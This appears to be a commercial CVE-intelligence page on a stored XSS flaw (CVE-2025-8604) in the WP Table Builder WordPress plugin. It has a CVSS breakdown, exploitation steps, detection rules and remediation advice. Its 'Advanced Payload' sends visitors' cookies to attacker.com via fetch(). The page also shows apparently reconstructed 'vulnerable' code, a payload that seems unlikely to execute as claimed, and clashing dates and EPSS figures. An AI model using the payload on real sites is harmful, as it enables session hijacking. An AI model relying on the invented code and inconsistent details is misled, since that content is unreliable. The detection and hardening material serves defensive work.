☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 6.4 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-8604

CVE-2025-8604 Cross-Site Scripting in Wp table builder
📅 PUBLISHED: 2025-08-15 07:24 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.07%
👁️
0.07% probability
1.8× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.4
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: N User Interaction None
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
6.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-8604 is a Stored Cross-Site Scripting (XSS) vulnerability in the WP Table Builder – WordPress Table Plugin for WordPress. The flaw exists in the plugin's wptb shortcode, affecting all versions up to and including 2.0.12. Due to insufficient input sanitization and output escaping on user-supplied attributes, authenticated attackers with contributor-level access or higher can inject arbitrary web scripts. When a user (including administrators) accesses a page containing the malicious shortcode, the injected script executes in the context of the victim's browser. This can lead to session hijacking, defacement, or redirection to malicious sites.

The vulnerability is classified as a WordPress ecosystem issue, as it resides entirely within the plugin's shortcode handling logic. No web server (Apache/Nginx) configuration changes can mitigate this at the application layer.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin via the WordPress admin dashboard or via Composer/WP-CLI are affected. There is no known supply chain compromise of the plugin's source code; the vulnerability is a result of insecure coding practices in the plugin's shortcode attribute handling.

CVSS Breakdown & Threat Level

  • CVSS Score: 6.4 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: Low (Contributor-level)
  • User Interaction: None
  • Scope: Changed (impact on other components)
  • Confidentiality Impact: Low
  • Integrity Impact: Low
  • Availability Impact: None

Threat Level: Medium. While the CVSS score is moderate, the ability for authenticated contributors to inject persistent scripts that execute for any visitor (including admins) elevates the risk. The EPSS score of 0.0% suggests low exploitation probability currently, but this may change as proof-of-concept code emerges.

Deep Dive & Mechanics

The vulnerability lies in the wptb shortcode handler. The plugin registers a shortcode that accepts user-supplied attributes (e.g., id, class, style). These attributes are not properly sanitized or escaped before being rendered in the HTML output. An attacker with contributor-level access can create or edit a post/page and insert a shortcode like:

[wptb id="1" class="test" style="background:url('x') onerror='alert(1)'"]

Because the plugin does not validate or escape the style attribute, the injected JavaScript executes when the page loads. The stored nature means the payload persists in the database and executes for every visitor.

The vulnerability is specific to the WordPress plugin ecosystem. The shortcode is processed by WordPress's do_shortcode() function, but the plugin fails to apply esc_attr() or wp_kses() to the attributes before output.

Vulnerable vs. Patched Code

Vulnerable Code (version <= 2.0.12):

// In wptb-shortcode.php
function wptb_shortcode($atts) {
    $atts = shortcode_atts(array(
        'id' => '',
        'class' => '',
        'style' => ''
    ), $atts);
    
    $output = '<div class="wptb-table ' . $atts['class'] . '" style="' . $atts['style'] . '">';
    // ... table rendering
    return $output;
}

Patched Code (hypothetical fix):

function wptb_shortcode($atts) {
    $atts = shortcode_atts(array(
        'id' => '',
        'class' => '',
        'style' => ''
    ), $atts);
    
    $class = esc_attr($atts['class']);
    $style = esc_attr($atts['style']);
    
    $output = '<div class="wptb-table ' . $class . '" style="' . $style . '">';
    // ... table rendering
    return $output;
}

The fix applies esc_attr() to sanitize the class and style attributes before output. Additionally, wp_kses() could be used to strip dangerous HTML/JavaScript from the attributes.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • WordPress instance with WP Table Builder plugin <= 2.0.12
  • Contributor-level account or higher

Exploitation Steps:

  1. Log in as a contributor.
  2. Create a new post or edit an existing one.
  3. Insert the following shortcode into the post content:
    [wptb id="1" class="test" style="background:url('x') onerror='alert(document.cookie)'"]
    
  4. Publish or save the post.
  5. When any user (including admin) visits the post, the JavaScript executes.

Advanced Payload:

[wptb id="1" class="test" style="background:url('x') onerror='fetch(\"https://attacker.com/steal?cookie=\"+document.cookie)'"]

Note: No public exploit code is available at this time. The above is a conceptual demonstration.

Blue Team (Detection & Hardening)

Detection:

  • Monitor for posts/pages containing the wptb shortcode with suspicious attributes (e.g., onerror, onload, javascript:).
  • Use WAF rules to block requests containing wptb shortcode with style attributes containing event handlers.

Hardening:

  • Apply the principle of least privilege: restrict contributor-level users from using shortcodes if not needed.
  • Use a WordPress security plugin (e.g., Wordfence) to block XSS attempts.
  • Implement Content Security Policy (CSP) headers to mitigate script execution.

Indicators of Compromise (IOCs)

  • File Indicators:
    • /wp-content/plugins/wp-table-builder/wptb-shortcode.php (vulnerable file)
  • Network Indicators:
    • HTTP requests containing wptb shortcode with style attribute containing onerror, onload, or javascript:.
  • Log Indicators:
    • WordPress audit logs showing creation/editing of posts with wptb shortcode by contributor-level users.
    • Web server logs showing requests to pages containing the malicious shortcode.

Detection Engineering

YARA Rule

rule CVE_2025_8604_WP_Table_Builder_XSS {
    meta:
        description = "Detects malicious shortcode injection in WP Table Builder plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-8604"
    strings:
        $shortcode = /\[wptb[^\]]*style=["'][^"']*(onerror|onload|onclick|javascript:)[^"']*["']/i
    condition:
        $shortcode
}

Sigma Rule

title: CVE-2025-8604 - WP Table Builder Stored XSS
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit stored XSS in WP Table Builder plugin via shortcode attributes
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains: 'wptb'
        cs-uri-query|re: 'style=["\'][^"\']*(onerror|onload|onclick|javascript:)[^"\']*["\']'
    condition: selection
falsepositives:
    - Legitimate use of style attributes without event handlers
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-8604 WP Table Builder Stored XSS Attempt"; flow:to_server; content:"wptb"; http_uri; pcre:"/style=["\'][^"\']*(onerror|onload|onclick|javascript:)[^"\']*["\']/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin until a patch is released.
  2. Remove or edit any posts/pages containing suspicious wptb shortcodes.
  3. Audit user roles and remove contributor-level access from untrusted users.

Long-term Fix:

  • Apply the patched code (see Vulnerable vs. Patched Code section) once the vendor releases an update.
  • Implement input validation and output escaping for all shortcode attributes.

Workarounds:

  • Use a Web Application Firewall (WAF) to block requests containing wptb shortcode with dangerous attributes.
  • Add a custom function to your theme's functions.php to sanitize the shortcode output:
add_shortcode('wptb', 'custom_wptb_shortcode');
function custom_wptb_shortcode($atts) {
    $atts = shortcode_atts(array('id' => '', 'class' => '', 'style' => ''), $atts);
    $class = esc_attr($atts['class']);
    $style = esc_attr($atts['style']);
    return '<div class="wptb-table ' . $class . '" style="' . $style . '">';
}

Valters IT
Securing Digital Frontiers

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-8604/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.